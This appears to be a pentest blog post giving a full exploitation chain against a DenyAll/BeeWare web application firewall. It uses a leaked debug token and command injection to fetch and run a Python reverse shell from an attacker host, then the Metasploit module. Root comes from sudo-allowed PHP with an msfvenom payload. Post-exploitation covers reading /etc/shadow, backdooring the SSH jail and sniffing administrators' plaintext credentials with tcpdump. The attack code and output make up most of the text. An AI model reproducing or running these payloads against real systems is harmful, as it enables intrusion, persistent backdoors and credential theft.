By B. Carpentier - Cybersecurity Expert at SQUAD

The purpose of this blog post is to show you how to exploit the RCE vulnerability on a denyall/beeware WAF, but also to give you the best ways to elevate your privileges in order to become root on the device.
This process will allow you to capture the credentials of users logging into the management interface.
1) Exploitation of vulnerability
The first step in detecting RCE weaknesses on a denyall/beeware WAF is to exploit the vulnerabilities discovered by Mehmet Ince in the WAF management interface.
It allows you to exploit a vulnerability that enables you to retrieve a valid authentication token without logging in to the interface.
This token is used by GUI processes to authenticate their communications.
The request:
<code>
https://<targetIP>:3001/webservices/download/index.php?applianceUid=LOCALUID&typeOf=debug
</code>
The associated answer is:
<code>
<?xml version= »1.0″ encoding= »UTF-8″?>
<response status= »-1″>
<error code= »STACKTRACE »><arg string= »1″>Internal error</arg></error><line>
<datetime>2017-10-30 11:02:07 (CET)</datetime>
<action></action>
<function></function>
<request>a:3:{s:6: »typeOf »;s:13: »debugInternal »;s:4: »file »;s:9: »debug.dat »;s:6: »iToken »;s:32: »RandomToken42″;}</request>
<errornum>2</errornum>
<errortype>Alerte</errortype>
<errormsg>touch(): Unable to create file /var/tmp/debug/ because Is a directory</errormsg>
<scriptname>/beeware/gui/gui_root-5.5.12/wsSource/class/filesClass.php</scriptname>
<scriptlinenum>18</scriptlinenum>
<memoryKbUsage>1280</memoryKbUsage>
</line>
</response>
</code>
What interests us particularly here is the value of the token: randomToken42. It will allow us to authenticate subsequent requests exploiting an RCE.
Before exploiting the RCE, we will set up a minimalist HTTP server with netcat to send a Python reverse shell to the checkpoint.
Create the following reverseShell file:
<code>
HTTP/1.1 200 OK
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((« <attackerIP> »,80))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call([« /bin/sh », »-i »])
</code>
Then we set up the netcat listener that will serve the reverseShell file on port 80:
<code>
# nc -l -p80 -c « cat reverseShell »
</code>
Admittedly, it's not very elegant, but it's quick and easy to set up. Now let's use RCE to download our reverseShell to the target:
<code>
https://<targetIP>:3001/webservices/stream/tail.php?iToken=RandomToken42&tag=tunnel&stime=4242424242&uid=$(wget http://<attackerIP> -O reverseShell.py)
</code>
Note the reuse of the previously retrieved token: randomToken42.
Once the reverseShell has been uploaded, netcat should close. We will now restart it to receive the reverseShell connection:
<code>
# nc -l -p80
</code>
And finally, we execute the reverseShell using the same RCE:
<code>
https://targetIP:3001/webservices/stream/tail.php?iToken=RandomToken42&tag=tunnel&stime=4242424242&uid=$(python reverseShell.py)
</code>
Now the window where we launched netcat shows us a nice shell:
<code>
sh-4.2$
</code>
Technical details regarding these vulnerabilities are available here:pentest.blog
You're probably surprised at how easy it is to exploit these vulnerabilities, right? Well, you should know that there's also a Metasploit module that automates the whole process:
<code>
msf > use exploit/linux/http/denyall_waf_exec
msf > setg RHOST <targetIP>
msf > setg LHOST <attackerIP>
msf > set LPORT 443
msf > exploit
</code>
Note: The default payload is "python/meterpreter/reverse_tcp."
If the exploit worked, you should get something like this:
<code>
[*] Started reverse TCP handler on <attackerIP>:443
[*] Extracting iToken value
[+] Awesome. iToken value = <RandomToken42>
[*] Trigerring command injection vulnerability with iToken value.
[*] Sending stage (42231 bytes) to <targetIP>
[*] Meterpreter session 2 opened (attackerIP:443 -> targetIP:43614) at 2017-10-26 14:27:32 +0200
</code>
2) Privilege escalation
Having a Meterpreter session is good, having a root shell is better. If the first step seemed simple, the next steps may or may not make you smile.
First of all, let's retrieve a shell from Meterpreter:
<code>
meterpreter > shell
</code>
So who is our typical user?
<code>
sh-4.2$ id
uid=1000(gui) gid=108(beeware) groups=108(beeware),1005(memsyncd)
</code>
Let's list its sudo privileges:
<code>
sh-4.2$ sudo -l
Matching Defaults entries for gui on this host:
!env_reset
The user GUI may run the following commands on this host:
(root) SETENV: ALL, (root) NOPASSWD:
/beeware/os/reverseproxy/bin/beeware-rp, (root) /usr/sbin/ethtool, (root)
/usr/sbin/dmidecode, (root) /bin/date, (root) /etc/init.d/openntpd, (root)
/etc/init.d/networking, (root) /etc/init.d/syslog-ng, (root)
/beeware/os/transfilter/sbin/transfilter, (root) /sbin/shutdown, (root)
/etc/init.d/beeware, (root) /sbin/iptables, (root) /sbin/ebtables, (root)
/sbin/rmmod, (root) /beeware/gui/php/bin/php,
…
…
</code>
One line in particular should catch your attention:
(root) /beeware/gui/php/bin/php
This means that our user can execute PHP as root without a password. All that remains is to generate a PHP reverse shell and execute it with "sudo."
Note: You have probably noticed that you can also capture data with tcpdump... Don't worry, we'll come back to that a little later!
The reverse shell generation and Metasploit listener setup is encoded as follows:
<code>
# msfvenom -p php/meterpreter_reverse_tcp LHOST=<attackerIP> LPORT=80 -f raw > reverseShell80.php
# msfconsole
msf > use exploit/multi/handler
msf > set PAYLOAD php/meterpreter_reverse_tcp
msf > setg LHOST <attackerIP>
msf > setg LPORT 80
msf > set ExitOnSession false
msf > exploit -j -z
</code>
We can use Meterpreter to upload the file, then execute it in a shell:
<code>
meterpreter > upload reverseShell.php
[*] uploading : reverseShell.php -> reverseShell.php
[*] uploaded : reverseShell.php -> reverseShell.php
meterpreter > shell
sh-4.2$ sudo /beeware/gui/php/bin/php -f reverseShell.php
</code>
In the other MSF window, you should see something like this:
<code>
msf exploit(handler) > [*] Meterpreter session 1 opened (<attackerIP>:80 -> <targetIP>:33951) at 2017-10-30 16:04:43 +0100
</code>
You can now interact with the new root session:
<code>
msf exploit(handler) > sessions -i 1
meterpreter > shell
Process 4573 created.
Channel 0 created.
id
uid=0(root) gid=0(root) groups=0(root)
</code>
3) Post-exploitation
Now that we have root shell access, we can retrieve /etc/shadow and install a backdoor or sniff the credentials of users logging into the device's administration interface.
For my part, I took the opportunity to modify the Python jail presented to users connecting via SSH to add useful commands, including one that allows me to reopen a reverse shell to my machine.
Below are the details of the method I used to sniff user credentials.
We start by getting a "real" interactive shell:
<code>
python -c ‘import pty; pty.spawn(« /bin/bash »)’
</code>
Then we take a quick look at the services available:
<code>
oot@Beeware:/var/beeware/logs/reverseproxy# netstat -lptn
netstat -lptn
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:199 0.0.0.0:* LISTEN 23916/snmpd
tcp 0 0 127.0.0.1:4949 0.0.0.0:* LISTEN 4621/munin-node
tcp 0 0 126.246.28.39:22 0.0.0.0:* LISTEN 23443/sshd
tcp 0 0 127.0.0.1:5432 0.0.0.0:* LISTEN 3956/postgres
tcp 0 0 126.246.28.39:3001 0.0.0.0:* LISTEN 1515/beeware-gui
tcp 0 0 127.0.0.1:3001 0.0.0.0:* LISTEN 1515/beeware-gui
tcp6 0 0 127.0.0.1:48400 :::* LISTEN 24164/java
tcp6 0 0 127.0.0.2:8080 :::* LISTEN 4745/java
tcp6 0 0 127.0.0.3:8080 :::* LISTEN 4745/java
tcp6 0 0 127.0.0.3:8081 :::* LISTEN 4745/java
</code>
After several captures, it turns out that the credentials are transmitted in clear text on the localhost interface via TCP port 8080.
You can capture them and download the PCAP as follows:
<code>
root@Beeware:~# /usr/sbin/tcpdump -i lo -w lo_tcp8080.pcap tcp port 8080
meterpreter > download lo_tcp8080.pcap
</code>
Personally, I like Wireshark, so I use it to filter out interesting packets:
<code>
tcp contains pass
</code>
I hope this article helps you. Please feel free to leave your comments to let us know 🙂
